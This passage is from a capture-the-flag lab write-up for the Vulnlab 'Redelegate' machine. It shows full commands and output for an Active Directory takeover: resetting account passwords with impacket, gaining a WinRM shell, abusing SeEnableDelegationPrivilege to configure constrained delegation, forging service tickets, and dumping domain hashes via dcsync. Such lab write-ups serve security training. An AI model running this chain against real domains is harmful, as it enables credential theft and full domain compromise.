After loading it into bloodhound, we notice that there is a path to high value targets from our user:

 

To change the password of that user, we can use the following command:

└─$ impacket-changepasswd redelegate/helen.frost@redelegate.vl -newpass ‘Start123!’ -altuser redelegate/marie.curie -reset -altpass ‘****2024!’ -debug
Impacket v0.12.0.dev1 – Copyright 2023 Fortra
[+] Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket
[*] Setting the password of redelegate\helen.frost as redelegate\marie.curie
[*] Connecting to DCE/RPC as redelegate\marie.curie
[+] Successfully bound to SAMR
[+] Sending SAMR call hSamrSetNTInternal1
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.

 

This gives us a shell on the domain controller and our first flag.

└─$ evil-winrm -i redelegate.vl -u “helen.frost” -p ‘Start123!’

 

Privilege Escalation

First we check our privileges and notice that this user has the SeEnableDelegationPrivilege, which means that the user can enable delegation privileges on the domain.

*Evil-WinRM* PS C:\Users\Helen.Frost\desktop> whoami /priv
PRIVILEGES INFORMATION
———————-
Privilege Name Description State
============================= ============================================================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users\Helen.Frost\desktop>

 

This is a dangerous privilege that allows to escalate privileges in multiple ways. Let’s take this opportunity to remember the 3 types of delegation:

Unconstrained Delegation: A machine configured with Unconstrained Delegation will store any TGT of users connecting to it in memory. This allows the machine to then impersonate that user. To configure this, the userAccountControl attribute of the machine gets modified to include the TRUSTED_FOR_DELEGATION flag (which requires the SeEnableDelegationPrivilege domain privilege).

Constrained Delegation: A machine configured with Constrained Delegation will be able to impersonate any user against another machine. To configure this, the userAccountControl attribute of the object gets modified to include the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION flag (which requires the SeEnableDelegationPrivilege privilege) and the msDS-AllowedToDelegateTo attribute gets set to the target spn that we want to authenticate as any user against.

Resource-Based Constrained Delegation: A machine configured with Resource-Based Constrained Delegation will trust another user to impersonate any user on itself. To configure this the AllowedToActOnBehalfOfOtherIdentity property must be set to the SID of the object that is allowed to control it. This does not require SeEnableDelegationPrivilege and the machine can modify it on itself.

So in other words, RBCD is a privilege given by a machine account on itself and does not require any special privileges, while both Unconstrained- and Constrained Delegation do require the SeEnableDelegationPrivilege because those affect other resources in the domain.

With this information, we can rule out RBCD and focus on the other delegations. As seen on the predecessor machine “Delegate”, we could add a machine account, configure it with unconstrained delegation and then coerce the domain controller to authenticate to that machine. This would require the ability to add machine accounts and also to add DNS entries (for the coercion – kerberos works with names instead of ip addresses). Both is not possible in this case, since the environment has been hardened.

This leaves us with only Constrained Delegation which does not require a new DNS entry. It does however also require control of a machine account. Luckily in this case, the user helen.frost has GenericAll privileges on a computer object called FS01$. This allows us to reset the password of that computer object (alternatively Shadow Credentials could be used, if there would be a configured CA):

└─$ impacket-changepasswd redelegate/‘fs01$’@redelegate.vl -newpass ‘Start123!’ -altuser redelegate/helen.frost -reset -altpass ‘Start123!’ -debug
Impacket v0.12.0.dev1 – Copyright 2023 Fortra
[+] Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket
[*] Setting the password of redelegate\fs01$ as redelegate\helen.frost
[*] Connecting to DCE/RPC as redelegate\helen.frost
[+] Successfully bound to SAMR
[+] Sending SAMR call hSamrSetNTInternal1
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.

Additionally, we need to use our SeEnableDelegationPrivilege to make the necessary changes:

*Evil-WinRM* PS C:\Users\Helen.Frost\desktop> Set-ADObject -Identity “CN=FS01,CN=COMPUTERS,DC=REDELEGATE,DC=VL” -Add @{“msDS-AllowedToDelegateTo”=“ldap/dc.redelegate.vl”}
*Evil-WinRM* PS C:\Users\Helen.Frost\desktop> Set-ADAccountControl -Identity “FS01$” -TrustedToAuthForDelegation $True

As described earlier we set msDS-AllowedToDelegateTo to the resource we want to control (ldap on the domain controller in order to perform a dcsync) and the TrustedToAuthForDelegation flag.

Now we can use the credentials of the fs01 machine account to request a service ticket as any user (here the dc itself) to the dc:

└─$ impacket-getST redelegate.vl/fs01\$:‘Start123!’ -spn ldap/dc.redelegate.vl -impersonate dc
Impacket v0.12.0.dev1 – Copyright 2023 Fortra
[] CCache file is not found. Skipping…
[*] Getting TGT for user
[*] Impersonating dc
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc@ldap_dc.redelegate.vl@REDELEGATE.VL.ccache

Since this is a ticket for ldap, it allows us to perform dcsync:

└─$ export KRB5CCNAME=‘dc@ldap_dc.redelegate.vl@REDELEGATE.VL.ccache’
┌──(puck㉿kali)[~/vulnlab/redelegate]
└─$ klist
Ticket cache: FILE:dc@ldap_dc.redelegate.vl@REDELEGATE.VL.ccache
Default principal: dc@redelegate.vl
Valid starting Expires Service principal
11/27/2024 11:23:35 11/27/2024 21:23:35 ldap/dc.redelegate.vl@REDELEGATE.VL
renew until 11/28/2024 11:23:36

.

─$ impacket-secretsdump -k -no-pass dc.redelegate.vl -dc-ip 10.10.87.216
Impacket v0.12.0.dev1 – Copyright 2023 Fortra
[] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a0<redacted>99:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

With the admin hash we can now connect to the DC and read the final flag. If you want to try out the machine, join Vulnlab 🙂

Resources

 

Protected: htb-mist-private

This content is password protected. To view it please enter your password below:

Posted on